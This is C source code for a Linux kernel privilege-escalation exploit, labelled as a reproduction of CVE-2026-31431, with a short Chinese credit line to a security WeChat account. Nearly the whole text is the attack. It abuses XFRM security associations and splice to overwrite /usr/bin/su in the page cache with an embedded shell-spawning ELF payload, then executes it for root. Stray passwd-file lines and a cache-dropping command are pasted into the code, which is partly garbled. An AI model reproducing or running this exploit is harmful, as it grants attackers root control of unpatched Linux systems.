#define _GNU_SOURCE#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<fcntl.h>#include<errno.h>#include<sched.h>#include<sys/socket.h>#include<sys/uio.h>#include<sys/ioctl.h>#include<sys/wait.h>#include<netinet/in.h>#include<arpa/inet.h>#include<net/if.h>#include<linux/if.h>#include<linux/netlink.h>#include<linux/rtnetlink.h>#include<linux/xfrm.h>#ifndef UDP_ENCAP#define UDP_ENCAP 100#endif#ifndef UDP_ENCAP_ESPINUDP#define UDP_ENCAP_ESPINUDP 2#endif#ifndef SOL_UDP#define SOL_UDP 17#endif#define ENC_PORT 4500#define SEQ_VAL 200#define REPLAY_SEQ 100#define TARGET_PATH "/usr/bin/su"#define PAYLOAD_LEN 192static const uint8_t shell_elf[PAYLOAD_LEN] = {0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,};staticvoidwrite_proc(constchar *path, constchar *buf){int fd = open(path, O_WRONLY);if (fd >= 0) {write(fd, buf, strlen(buf));close(fd);}}staticvoidsetup_userns_netns(void){uid_t uid = getuid();gid_t gid = getgid();if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {perror("unshare");exit(1);}write_proc("/proc/self/setgroups", "deny");char map[64];snprintf(map, sizeof(map), "0 %u 1", uid);write_proc("/proc/self/uid_map", map);snprintf(map, sizeof(map), "0 %u 1", gid);write_proc("/proc/self/gid_map", map);int s = socket(AF_INET, SOCK_DGRAM, 0);if (s >= 0) {struct ifreq ifr = {0};strcpy(ifr.ifr_name, "lo");ioctl(s, SIOCGIFFLAGS, &ifr);ifr.ifr_flags |= IFF_UP | IFF_RUNNING;ioctl(s, SIOCSIFFLAGS, &ifr);root:x:0:0:root:/root:/bin/bash close(s);}}staticintadd_xfrm_sa(uint32_t spi, uint32_t seqhi){int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);if (sk < 0) return -1;struct sockaddr_nl nl = { .nl_family = AF_NETLINK };bind(sk, (struct sockaddr*)&nl, sizeof(nl));char buf[4096] = {0};struct nlmsghdr *nlh = (struct nlmsghdr *)buf;nlh->nlmsg_type = XFRM_MSG_NEWSA;nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;nlh->nlmsg_pid = getpid();nlh->nlmsg_seq = 1;nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);xs->id.daddr.a4 = inet_addr("127.0.0.1");xs->id.spi = htonl(spi);xs->id.proto = IPPROTO_ESP;xs->saddr.a4 = inet_addr("127.0.0.1");xs->family = AF_INET;xs->mode = XFRM_MODE_TRANSPORT;xs->replay_window = 0;xs->reqid = 0x1234;xs->flags = XFRM_STATE_ESN;xs->lft.soft_byte_limit = xs->lft.hard_byte_limit = (uint64_t)-1;xs->lft.soft_packet_limit = xs->lft.hard_packet_limit = (uint64_t)-1;xs->sel.family = AF_INET;xs->sel.prefixlen_d = xs->sel.prefixlen_s = 32;xs->sel.daddr.a4 = xs->sel.saddr.a4 = inet_addr("127.0.0.1");// Add XFRMA_ALG_AUTH_TRUNCchar auth_buf[sizeof(struct xfrm_algo_auth) + 32] = {0};struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)auth_buf;strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);aa->alg_key_len = 32 * 8;aa->alg_trunc_len = 128;memset(aa->alg_key, 0xAA, 32);struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));rta->rta_type = XFRMA_ALG_AUTH_TRUNC;rta->rta_len = RTA_LENGTH(sizeof(auth_buf));memcpy(RTA_DATA(rta), auth_buf, sizeof(auth_buf));nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);// Add XFRMA_ALG_CRYPTchar crypt_buf[sizeof(struct xfrm_algo) + 16] = {0};struct xfrm_algo *ea = (struct xfrm_algo *)crypt_buf;strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);ea->alg_key_len = 16 * 8;memset(ea->alg_key, 0xBB, 16);rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));rta->rta_type = XFRMA_ALG_CRYPT;rta->rta_len = RTA_LENGTH(sizeof(crypt_buf));memcpy(RTA_DATA(rta), crypt_buf, sizeof(crypt_buf));nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);// Add XFRMA_ENCAPstruct xfrm_encap_tmpl enc = {.encap_type = UDP_ENCAP_ESPINUDP,.encap_sport = htons(ENC_PORT),.encap_dport = htons(ENC_PORT)};rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));rta->rta_type = XFRMA_ENCAP;rta->rta_len = RTA_LENGTH(sizeof(enc));memcpy(RTA_DATA(rta), &enc, sizeof(enc));nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);// Add XFRMA_REPLAY_ESN_VALchar esn_buf[sizeof(struct xfrm_replay_state_esn) + 4] = {0};struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;esn->bmp_len = 1;esn->seq = REPLAY_SEQ;esn->seq_hi = seqhi;esn->replay_window = 32;rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));rta->rta_type = XFRMA_REPLAY_ESN_VAL;rta->rta_len = RTA_LENGTH(sizeof(esn_buf));memcpy(RTA_DATA(rta), esn_buf, sizeof(esn_buf));nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);send(sk, nlh, nlh->nlmsg_len, 0);char rbuf[4096];recv(sk, rbuf, sizeof(rbuf), 0);close(sk);return 0;}staticintdo_one_write(constchar *path, off_t offset, uint32_t spi){int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);if (sk_recv < 0) return -1;int one = 1;setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));struct sockaddr_in sa_d = {.sin_family = AF_INET,.sin_port = htons(ENC_PORT),.sin_addr = { inet_addr("127.0.0.1") },};bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d));int encap = UDP_ENCAP_ESPINUDP;if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {perror("setsockopt UDP_ENCAP");close(sk_recv);return -1;}int sk_send = socket(AF_INET, SOCK_DGRAM, 0);if (sk_send < 0) { close(sk_recv); return -1; }connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d));int file_fd = open(path, O_RDONLY);if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }int pfd[2];if (pipe(pfd) < 0) {close(file_fd); close(sk_send); close(sk_recv);return -1;}uint8_t hdr[24];*(uint32_t*)hdr = htonl(spi);*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);memset(hdr + 8, 0xCC, 16);struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };if (vmsplice(pfd[1], &iov_h, 1, 0) != sizeof(hdr)) {close(file_fd); close(pfd[0]); close(pfd[1]);close(sk_send); close(sk_recv);return -1;}off_t off = offset;splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);usleep(150 * 1000);close(file_fd); close(pfd[0]); close(pfd[1]);close(sk_send); close(sk_recv);return 0;}intmain(void){printf("[*] Setting up user namespace...\n");setup_userns_netns();usleep(100 * 1000);printf("[*] Installing %d XFRM SAs...\n", PAYLOAD_LEN / 4);for (int i = 0; i < PAYLOAD_LEN / 4; i++) {uint32_t spi = 0xDEADBE10 + i;uint32_t seqhi = ((uint32_t)shell_elf[i*4] << 24) |((uint32_t)shell_elf[i*4+1] << 16) |((uint32_t)shell_elf[i*4+2] << 8) |shell_elf[i*4+3];if (add_xfrm_sa(spi, seqhi) < 0) {printf("[-] Failed to add SA #%d\n", i);return 1;}}printf("[*] Writing payload to %s...\n", TARGET_PATH);for (int i = 0; i < PAYLOAD_LEN / 4; i++) {uint32_t spi = 0xDEADBE10 + i;if (do_one_write(TARGET_PATH, i * 4, spi) < 0) {printf("[-] Write #%d failed\n", i);return 1;}}printf("[+] Success! Executing patched su...\n");execl(TARGET_PATH, TARGET_PATH, NULL);perror("execl");return 1;}
CVE-2026-31431 程序复现
sudopacman,公众号:Sakana网络安全CVE-2026-31431 copy fail内核漏洞环境搭建全记录
echo 3 > /proc/sys/vm/drop_cachesroot:x:0:0:root:/root:/usr/bin/bash